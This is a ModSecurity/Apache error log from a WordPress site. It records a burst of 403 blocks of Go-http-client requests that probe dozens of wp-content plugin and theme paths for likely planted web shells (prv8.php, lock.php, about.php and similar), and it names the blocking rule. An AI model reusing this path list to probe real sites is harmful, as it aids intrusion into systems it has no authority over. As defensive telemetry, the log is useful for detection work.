[Thu Nov 20 07:12:36.368107 2025] [:error] [pid 55340:tid 55356] [client 185.223.152.80:53999] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/option.php"] [unique_id "aR5O5POxD-NeMydTybDUawAAAAs"]
[Thu Nov 20 07:12:37.038723 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.4:31977] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/options-privacy-part.php"] [unique_id "aR5O5bg6x32Tvk7fIG9O0wAAAFI"]
[Thu Nov 20 07:12:37.707087 2025] [:error] [pid 55340:tid 55365] [client 185.223.152.82:23437] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aR5O5fOxD-NeMydTybDUbAAAABQ"]
[Thu Nov 20 07:12:38.378078 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.91:32041] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/backuply/s.php"] [unique_id "aR5O5vPZXaIMEU4pE7tTNgAAAMU"]
[Thu Nov 20 07:12:39.048240 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.83:50727] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/chosen.php"] [unique_id "aR5O5_OxD-NeMydTybDUbwAAAAo"]
[Thu Nov 20 07:12:39.718054 2025] [:error] [pid 55340:tid 55349] [client 185.223.152.80:52933] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/class-json.php"] [unique_id "aR5O5_OxD-NeMydTybDUcAAAAAQ"]
[Thu Nov 20 07:12:40.390917 2025] [:error] [pid 34444:tid 34456] [client 185.223.152.76:44019] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/"] [unique_id "aR5O6FNEol4jlmmA_GOpRQAAAUo"]
[Thu Nov 20 07:12:41.061522 2025] [:error] [pid 34444:tid 34454] [client 185.223.152.87:58381] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/plugins/prv8.php"] [unique_id "aR5O6VNEol4jlmmA_GOpRwAAAUg"]
[Thu Nov 20 07:12:41.735199 2025] [:error] [pid 34405:tid 34423] [client 185.223.152.82:48867] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/prv8.php"] [unique_id "aR5O6TFpvu8oRK7ATfuGugAAARA"]
[Thu Nov 20 07:12:42.406379 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.82:35779] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/litespeed/about.php"] [unique_id "aR5O6vOxD-NeMydTybDUcgAAABY"]
[Thu Nov 20 07:12:43.075877 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.83:30683] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/ngg/modules/photocrati-nextgen_basic_imagebrowser/static/lock.php"] [unique_id "aR5O61NEol4jlmmA_GOpSgAAAU0"]
[Thu Nov 20 07:12:43.746652 2025] [:error] [pid 55340:tid 55362] [client 185.223.152.89:41171] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/all-in-one-wp-migration/lib/vendor/about.php"] [unique_id "aR5O6_OxD-NeMydTybDUcwAAABE"]
[Thu Nov 20 07:12:44.415175 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.83:58287] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/amp/src/Editor/about.php"] [unique_id "aR5O7FNEol4jlmmA_GOpTAAAAVY"]
[Thu Nov 20 07:12:45.082815 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.73:58869] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "aR5O7VNEol4jlmmA_GOpTQAAAVE"]
[Thu Nov 20 07:12:45.748833 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.84:32637] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php"] [unique_id "aR5O7fOxD-NeMydTybDUdAAAABg"]
[Thu Nov 20 07:12:46.417042 2025] [:error] [pid 34444:tid 34470] [client 185.223.152.66:42079] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/checkout-for-woocommerce/about.php"] [unique_id "aR5O7lNEol4jlmmA_GOpVwAAAVg"]
[Thu Nov 20 07:12:47.087730 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.74:35287] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-forms/abc.php"] [unique_id "aR5O71NEol4jlmmA_GOpWgAAAU0"]
[Thu Nov 20 07:12:47.756916 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.80:52461] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/core/frontend/render-modes/about.php"] [unique_id "aR5O71NEol4jlmmA_GOpXAAAAVY"]
[Thu Nov 20 07:12:48.433727 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.69:53945] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php"] [unique_id "aR5O8DFpvu8oRK7ATfuGxAAAAQM"]
[Thu Nov 20 07:12:49.106951 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.85:58133] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php"] [unique_id "aR5O8VWlO3EnyVMV7w4NsgAAAIY"]
[Thu Nov 20 07:12:49.775535 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.77:34423] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/lib-view/code-snippet/lock.php"] [unique_id "aR5O8VNEol4jlmmA_GOpYQAAAUU"]
[Thu Nov 20 07:12:50.458971 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.82:22225] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/foter.php"] [unique_id "aR5O8jFpvu8oRK7ATfuGxwAAAQo"]
[Thu Nov 20 07:12:51.126234 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.91:35679] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/new.php"] [unique_id "aR5O87g6x32Tvk7fIG9O4AAAAE4"]
[Thu Nov 20 07:12:51.798691 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.72:26865] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/nodeinfo/theme.php"] [unique_id "aR5O81WlO3EnyVMV7w4NtAAAAIU"]
[Thu Nov 20 07:12:52.474061 2025] [:error] [pid 34444:tid 34453] [client 185.223.152.75:37775] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/nux.php"] [unique_id "aR5O9FNEol4jlmmA_GOpZAAAAUc"]
[Thu Nov 20 07:12:53.143319 2025] [:error] [pid 55342:tid 55383] [client 185.223.152.79:21319] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php"] [unique_id "aR5O9bg6x32Tvk7fIG9O4wAAAEs"]
[Thu Nov 20 07:12:53.814104 2025] [:error] [pid 34405:tid 34424] [client 185.223.152.65:30155] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/quadmenu/redux/ReduxCore/inc/themecheck/checks/lock.php"] [unique_id "aR5O9TFpvu8oRK7ATfuGzQAAARE"]
[Thu Nov 20 07:12:54.498537 2025] [:error] [pid 34405:tid 34422] [client 185.223.152.79:35977] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/really-simple-ssl/lets-encrypt/integrations/admin.php"] [unique_id "aR5O9jFpvu8oRK7ATfuGzgAAAQ8"]
[Thu Nov 20 07:12:55.168611 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.81:34413] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/royal-elementor-addons/modules/theme-builder/post-navigation/widgets/lock.php"] [unique_id "aR5O9_PZXaIMEU4pE7tTOQAAAMI"]
[Thu Nov 20 07:12:55.840127 2025] [:error] [pid 55342:tid 55376] [client 185.223.152.91:45927] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/toxkssp/index.php"] [unique_id "aR5O97g6x32Tvk7fIG9O5gAAAEQ"]
[Thu Nov 20 07:12:56.510371 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.80:53209] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce-advanced-bulk-edit/about.php"] [unique_id "aR5O-PPZXaIMEU4pE7tTPAAAAMw"]
[Thu Nov 20 07:12:57.177798 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.74:40571] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wophq/index.php"] [unique_id "aR5O-fPZXaIMEU4pE7tTPQAAAMA"]
[Thu Nov 20 07:12:57.846703 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.84:48863] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/user-profiles-additions/about.php"] [unique_id "aR5O-VWlO3EnyVMV7w4NtwAAAJE"]
[Thu Nov 20 07:12:58.516467 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.74:20679] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/wrappers/about.php"] [unique_id "aR5O-lWlO3EnyVMV7w4NuAAAAIA"]
[Thu Nov 20 07:12:59.185627 2025] [:error] [pid 55340:tid 55352] [client 185.223.152.77:57957] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-all-import-pro/addon-api/about.php"] [unique_id "aR5O-_OxD-NeMydTybDUeAAAAAc"]
[Thu Nov 20 07:12:59.858393 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.66:49995] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpvivid-backup-mainwp/vendor/psr/cache/lock.php"] [unique_id "aR5O-_OxD-NeMydTybDUeQAAAAg"]
[Thu Nov 20 07:13:00.533196 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.83:29077] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/botticelli/content-index.php"] [unique_id "aR5O_POxD-NeMydTybDUegAAAAo"]
[Thu Nov 20 07:13:01.218600 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.79:59237] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aR5O_fOxD-NeMydTybDUewAAAA8"]
[Thu Nov 20 07:13:02.075092 2025] [:error] [pid 55343:tid 55403] [client 185.223.152.66:38059] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/edit.php"] [unique_id "aR5O_lWlO3EnyVMV7w4NuwAAAIQ"]
[Thu Nov 20 07:13:02.812525 2025] [:error] [pid 55430:tid 55440] [client 185.223.152.70:50439] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/flatsome-child/images/about.php"] [unique_id "aR5O_vPZXaIMEU4pE7tTPwAAAMc"]
[Thu Nov 20 07:13:03.521250 2025] [:error] [pid 55342:tid 55396] [client 185.223.152.81:53309] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/flatsome/inc/builder/shortcodes/commons/lock.php"] [unique_id "aR5O_7g6x32Tvk7fIG9O6AAAAFg"]
[Thu Nov 20 07:13:04.277301 2025] [:error] [pid 34405:tid 34415] [client 185.223.152.82:63817] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/flex-multi-business/inc/zBaLeMDx.php"] [unique_id "aR5PADFpvu8oRK7ATfuG4QAAAQg"]
[Thu Nov 20 07:13:04.951414 2025] [:error] [pid 55342:tid 55391] [client 185.223.152.81:40845] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/intime/assets/index.php"] [unique_id "aR5PALg6x32Tvk7fIG9O6QAAAFM"]
[Thu Nov 20 07:13:05.622675 2025] [:error] [pid 55340:tid 55351] [client 185.223.152.82:33909] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/libero/autoload_classmap.php"] [unique_id "aR5PAfOxD-NeMydTybDUgAAAAAY"]
[Thu Nov 20 07:13:06.292284 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.83:60023] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/maxwin88/inc/metabox/extend-metabox/lock.php"] [unique_id "aR5PAjFpvu8oRK7ATfuG5AAAAQk"]
[Thu Nov 20 07:13:06.964767 2025] [:error] [pid 55340:tid 55357] [client 185.223.152.91:46051] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/popularfx/template-parts/index.php"] [unique_id "aR5PAvOxD-NeMydTybDUgwAAAAw"]
[Thu Nov 20 07:13:07.635187 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.4:40001] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/rockwell/content-index.php"] [unique_id "aR5PA_OxD-NeMydTybDUhAAAAAg"]
[Thu Nov 20 07:13:08.308130 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.67:64197] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/rubens-child/content-index.php"] [unique_id "aR5PBFWlO3EnyVMV7w4NwAAAAIY"]
[Thu Nov 20 07:13:08.989951 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.88:53615] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/ryan/admin/main/inc/callbacks/sanitize_callback/select_faicons/lock.php"] [unique_id "aR5PBFWlO3EnyVMV7w4NyAAAAIc"]
[Thu Nov 20 07:13:09.658087 2025] [:error] [pid 55342:tid 55384] [client 185.223.152.89:24523] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php"] [unique_id "aR5PBbg6x32Tvk7fIG9O8wAAAEw"]
[Thu Nov 20 07:13:10.331236 2025] [:error] [pid 55430:tid 55446] [client 185.223.152.90:65197] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/theme-check/new.php"] [unique_id "aR5PBvPZXaIMEU4pE7tTRAAAAM0"]
[Thu Nov 20 07:13:10.999454 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.71:57851] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/css/a.php"] [unique_id "aR5PBlWlO3EnyVMV7w4N1QAAAI8"]
